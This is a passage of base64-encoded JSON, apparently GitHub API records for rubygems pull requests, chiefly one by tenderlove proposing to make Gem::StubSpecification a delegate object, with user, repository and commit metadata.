vMTMzNSJ9LCJjb21tZW50cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTMzNS9jb21tZW50cyJ9LCJyZXZpZXdfY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTMzNS9jb21tZW50cyJ9LCJyZXZpZXdfY29tbWVudCI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy9jb21tZW50c3svbnVtYmVyfSJ9LCJjb21taXRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzEzMzUvY29tbWl0cyJ9LCJzdGF0dXNlcyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy9jMGQ3YTU2YzQ2YjUxMmU2NmY2MzcxODk4NjQ2ZTQyNWFiNDk4MjFmIn19LCJhdXRob3JfYXNzb2NpYXRpb24iOiJPV05FUiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMjQ0IiwiaWQiOjM0NjkwMzY1LCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEyNDQiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEyNDQuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEyNDQucGF0Y2giLCJpc3N1ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjQ0IiwibnVtYmVyIjoxMjQ0LCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJ0aXRsZSI6IlN3aXRjaCBHZW06OlN0dWJTcGVjaWZpY2F0aW9uIHRvIGJlIGEgZGVsZWdhdGUgb2JqZWN0IiwidXNlciI6eyJsb2dpbiI6InRlbmRlcmxvdmUiLCJpZCI6MzEyNCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMzEyND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3RlbmRlcmxvdmUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6dHJ1ZX0sImJvZHkiOiJUaGlzIHB1bGwgcmVxdWVzdCBjaGFuZ2VzIGBHZW06OlN0dWJTcGVjaWZpY2F0aW9uYCB0byBiZSBhIGRlbGVnYXRlIG9iamVjdCB0aGF0IGRlbGVnYXRlcyB0byBhIGxhemlseSBsb2FkZWQgYEdlbTo6U3BlY2lmaWNhdGlvbmAuXG4jIyMgQWR2YW50YWdlc1xuLSBgR2VtOjpTcGVjaWZpY2F0aW9uLl9hbGxgIGFuZCBgc3R1YnNgIGFyZSBzeW5vbnltcywgc28geW91IGNhbiB1c2UgdGhlIGBFbnVtZXJhYmxlYCBtZXRob2RzIG9uIGBHZW06OlNwZWNpZmljYXRpb25gIHdpdGhvdXQgYWNjaWRlbnRhbGx5IGFjdHVhbGx5IGxvYWRpbmcgYWxsIHNwZWNpZmljYXRpb25zXG4tIFNpbmNlIGBHZW06OlN0dWJTcGVjaWZpY2F0aW9uYCB3aWxsIGRlbGVnYXRlIHRvIGEgcmVhbCBzcGVjaWZpY2F0aW9uLCB3ZSBjYW4gc3RvcCBjYWxsaW5nIGB0b19zcGVjYCBvbiB0aGUgc3R1YnMgYW5kIGp1c3QgcmV0dXJuIHRoZSBzdHViIG9iamVjdCBpdHNlbGZcbi0gQ2FjaGUgaW52YWxpZGF0aW9uIGlzIGVhc2llciBzaW5jZSB3ZSBvbmx5IGhhdmUgdG8gbWFuYWdlIGEgbGlzdCBvZiBzdHVicyAobm90IGBAQHN0dWJzYCAqKmFuZCoqIGBAQGFsbGApXG4jIyMgRGlzYWR2YW50YWdlc1xuLSBTaW5jZSB3ZSBvbmx5IGRlYWwgd2l0aCBzdHVicyBzcGVjaWZpY2F0aW9uIG9iamVjdHMsIGl0IGNhbiBicmVhayBgaXNfYT9gIGNoZWNrcy4gIEkgaGFkIHRvIHJlbW92ZSBhbiBpc19hIGNoZWNrIFtoZXJlXShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS9ydWJ5Z2VtczptYXN0ZXIuLi50ZW5kZXJsb3ZlOnNwZWNfZGVsZWdhdGU/ZXhwYW5kPTEjZGlmZi04NWZiZWU1YWNkMmE3YmE0OGZhYmIwZTA0N2E4YzQ2M0w3NCkgYW5kIFtoZXJlXShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS9ydWJ5Z2VtczptYXN0ZXIuLi50ZW5kZXJsb3ZlOnNwZWNfZGVsZWdhdGU/ZXhwYW5kPTEjZGlmZi1jNGJjNWYzZDQ0MGQ1YThlNWViYWU2YzRlMTY3ODJhNEwxMzQpLCBhbmQgSSBrbm93IGZvciBzdXJlIHRoYXQgYnVuZGxlciBkb2VzIGlzX2EgY2hlY2tzIFtoZXJlXShodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlci9idW5kbGVyL2Jsb2IvOTRiZTQ0ODFkZDU1YzdjMGE1NjJlZGNkYzcyZDI4YjdiYmEzYjUwMC9saWIvYnVuZGxlci9pbmRleC5yYiNMNzYpLlxuXG5JIGxlZnQgW2B0b19zcGVjYCBpbiB0YWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS9ydWJ5Z2VtczptYXN0ZXIuLi50ZW5kZXJsb3ZlOnNwZWNfZGVsZWdhdGU/ZXhwYW5kPTEjZGlmZi02ZTM4M2ZjNTVmODQyYTIzY2M4OTAxMDlhODAyZDYwOVIxNjgpIHNvIGlmIHlvdSByZWFsbHkgcmVhbGx5IG5lZWQgdGhlIHVuZGVybHlpbmcgc3BlYyBvYmplY3QsIHlvdSBjYW4gZ2V0IGl0ICh0aG91Z2ggSSBkb24ndCBhZHZpc2UgaXQgYmVjYXVzZSB0aGF0J3Mgc2xvdykuXG4jIyMgRnVydGhlciB3b3JrXG5cblNpbmNlIGBfYWxsYCBhbmQgYHN0dWJzYCBjYW4gYmUgc3lub255bXMsIGFuZCBgX2FsbGAgaXMgbm9kb2MnZCwgSSB0aGluayB3ZSBjb3VsZCBybSBgX2FsbGAgYW5kIGJhY2sgdGhlIGBFbnVtZXJhYmxlYCBtZXRob2RzIGJ5IGBzdHVic2AuXG5cbkl0IHNlZW1zIGxpa2UgdGhlcmUgbWF5IGJlIHNvbWUgb3RoZXIgcGxhY2VzIGluIGJ1bmRsZXIgdGhhdCBhcmUgZG9pbmcgaXNfYT8gY2hlY2tzLCBidXQgSSBuZWVkIHRvIGZpbmQgdGhlbS4gIElmIHRoaXMgc2VlbXMgbGlrZSBhbiBPSyBwYXRoIGZvcndhcmQsIEkgd2lsbCBmaXggYnVuZGxlciBzcGVjcyBiZWZvcmUgbWVyZ2luZy5cbiIsImNyZWF0ZWRfYXQiOiIyMDE1LTA1LTA1VDAxOjIyOjU2WiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA2LTA5VDA5OjIwOjExWiIsImNsb3NlZF9hdCI6bnVsbCwibWVyZ2VkX2F0IjpudWxsLCJtZXJnZV9jb21taXRfc2hhIjoiNDAzNTc4NTExZDdhODkzMmE3OWFjYWJmZjRjZjgyOTQ0Mjk1Y2RmNCIsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJyZXF1ZXN0ZWRfcmV2aWV3ZXJzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTI0NC9jb21taXRzIiwicmV2aWV3X2NvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTI0NC9jb21tZW50cyIsInJldmlld19jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjQ0L2NvbW1lbnRzIiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy9iYzkzZjk5MTQ1MWUzMWU3NDJjMWZhYWE4Y2FkOGY1NzQ0YmYzMTY2IiwiaGVhZCI6eyJsYWJlbCI6InRlbmRlcmxvdmU6c3BlY19kZWxlZ2F0ZSIsInJlZiI6InNwZWNfZGVsZWdhdGUiLCJzaGEiOiJiYzkzZjk5MTQ1MWUzMWU3NDJjMWZhYWE4Y2FkOGY1NzQ0YmYzMTY2IiwidXNlciI6eyJsb2dpbiI6InRlbmRlcmxvdmUiLCJpZCI6MzEyNCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMzEyND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3RlbmRlcmxvdmUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6dHJ1ZX0sInJlcG8iOnsiaWQiOjc2NjY5MywibmFtZSI6InJ1YnlnZW1zIiwiZnVsbF9uYW1lIjoidGVuZGVybG92ZS9ydWJ5Z2VtcyIsIm93bmVyIjp7ImxvZ2luIjoidGVuZGVybG92ZSIsImlkIjozMTI0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMTI0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vdGVuZGVybG92ZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjp0cnVlfSwicHJpdmF0ZSI6ZmFsc2UsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3RlbmRlcmxvdmUvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6dHJ1ZSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zIiwiZm9ya3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMva2V5c3sva2V5X2lkfSIsImNvbGxhYm9yYXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zL2NvbGxhYm9yYXRvcnN7L2NvbGxhYm9yYXRvcn0iLCJ0ZWFtc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMvaG9va3MiLCJpc3N1ZV9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zL2lzc3Vlcy9ldmVudHN7L251bWJlcn0iLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMvYXNzaWduZWVzey91c2VyfSIsImJyYW5jaGVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvdGVuZGVybG92ZS9ydWJ5Z2Vtcy9icmFuY2hlc3svYnJhbmNofSIsInRhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMvZ2l0L2Jsb2Jzey9zaGF9IiwiZ2l0X3RhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zL2dpdC90YWdzey9zaGF9IiwiZ2l0X3JlZnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zL2dpdC9yZWZzey9zaGF9IiwidHJlZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zL2dpdC90cmVlc3svc2hhfSIsInN0YXR1c2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvdGVuZGVybG92ZS9ydWJ5Z2Vtcy9zdGF0dXNlcy97c2hhfSIsImxhbmd1YWdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMvbGFuZ3VhZ2VzIiwic3RhcmdhemVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMvc3RhcmdhemVycyIsImNvbnRyaWJ1dG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMvY29udHJpYnV0b3JzIiwic3Vic2NyaWJlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zL3N1YnNjcmliZXJzIiwic3Vic2NyaXB0aW9uX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvdGVuZGVybG92ZS9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb24iLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvdGVuZGVybG92ZS9ydWJ5Z2Vtcy9jb21taXRzey9zaGF9IiwiZ2l0X2NvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zL2dpdC9jb21taXRzey9zaGF9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zL2NvbW1lbnRzey9udW1iZXJ9IiwiaXNzdWVfY29tbWVudF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMvaXNzdWVzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvdGVuZGVybG92ZS9ydWJ5Z2Vtcy9jb21wYXJlL3tiYXNlfS4uLntoZWFkfSIsIm1lcmdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMvbWVyZ2VzIiwiYXJjaGl2ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMvZG93bmxvYWRzIiwiaXNzdWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvdGVuZGVybG92ZS9ydWJ5Z2Vtcy9pc3N1ZXN7L251bWJlcn0iLCJwdWxsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvdGVuZGVybG92ZS9ydWJ5Z2Vtcy9taWxlc3RvbmVzey9udW1iZXJ9Iiwibm90aWZpY2F0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMvbm90aWZpY2F0aW9uc3s/c2luY2UsYWxsLHBhcnRpY2lwYXRpbmd9IiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvdGVuZGVybG92ZS9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy90ZW5kZXJsb3ZlL3J1YnlnZW1zL3JlbGVhc2Vzey9pZH0iLCJkZXBsb3ltZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3RlbmRlcmxvdmUvcnVieWdlbXMvZGVwbG95bWVudHMiLCJjcmVhdGVkX2F0IjoiMjAxMC0wNy0wOVQyMDozNjo0NVoiLCJ1cGRhdGVkX2F0IjoiMjAxNS0wOS0xN1QxODoxNzoyOVoiLCJwdXNoZWRfYXQiOiIyMDE2LTAzLTE1VDE4OjM1OjM4WiIsImdpdF91cmwiOiJnaXQ6Ly9naXRodWIuY29tL3RlbmRlcmxvdmUvcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOnRlbmRlcmxvdmUvcnVieWdlbXMuZ2l0IiwiY2xvbmVfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3RlbmRlcmxvdmUvcnVieWdlbXMuZ2l0Iiwic3ZuX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS90ZW5kZXJsb3ZlL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwOi8vcnVieWdlbXMub3JnIiwic2l6ZSI6MTc5NTgsInN0YXJnYXplcnNfY291bnQiOjIsIndhdGNoZXJzX2NvdW50IjoyLCJsYW5ndWFnZSI6IlJ1YnkiLCJoYXNfaXNzdWVzIjpmYWxzZSwiaGFzX3Byb2plY3RzIjp0cnVlLCJoYXNfZG93bmxvYWRzIjp0cnVlLCJoYXNfd2lraSI6ZmFsc2UsImhhc19wYWdlcyI6ZmFsc2UsImZvcmtzX2NvdW50IjoxLCJtaXJyb3JfdXJsIjpudWxsLCJhcmNoaXZlZCI6ZmFsc2UsIm9wZW5faXNzdWVzX2NvdW50IjowLCJsaWNlbnNlIjp7ImtleSI6Im90aGVyIiwibmFtZSI6Ik90aGVyIiwic3BkeF9pZCI6bnVsbCwidXJsIjpudWxsfSwiZm9ya3MiOjEsIm9wZW5faXNzdWVzIjowLCJ3YXRjaGVycyI6MiwiZGVmYXVsdF9icmFuY2giOiJtYXN0ZXIifX0sImJhc2UiOnsibGFiZWwiOiJydWJ5Z2VtczptYXN0ZXIiLCJyZWYiOiJtYXN0ZXIiLCJzaGEiOiI2YzBlMTAyODYxMDlmMDg4NmZhOTA5NTViOGM2NDc3ZGYzODEyNDMwIiwidXNlciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJyZXBvIjp7ImlkIjo2MTQwNzAsIm5hbWUiOiJydWJ5Z2VtcyIsImZ1bGxfbmFtZSI6InJ1YnlnZW1zL3J1YnlnZW1zIiwib3duZXIiOnsibG9naW4iOiJydWJ5Z2VtcyIsImlkIjoyMDg3NjEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIwODc2MT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2VtcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1Yn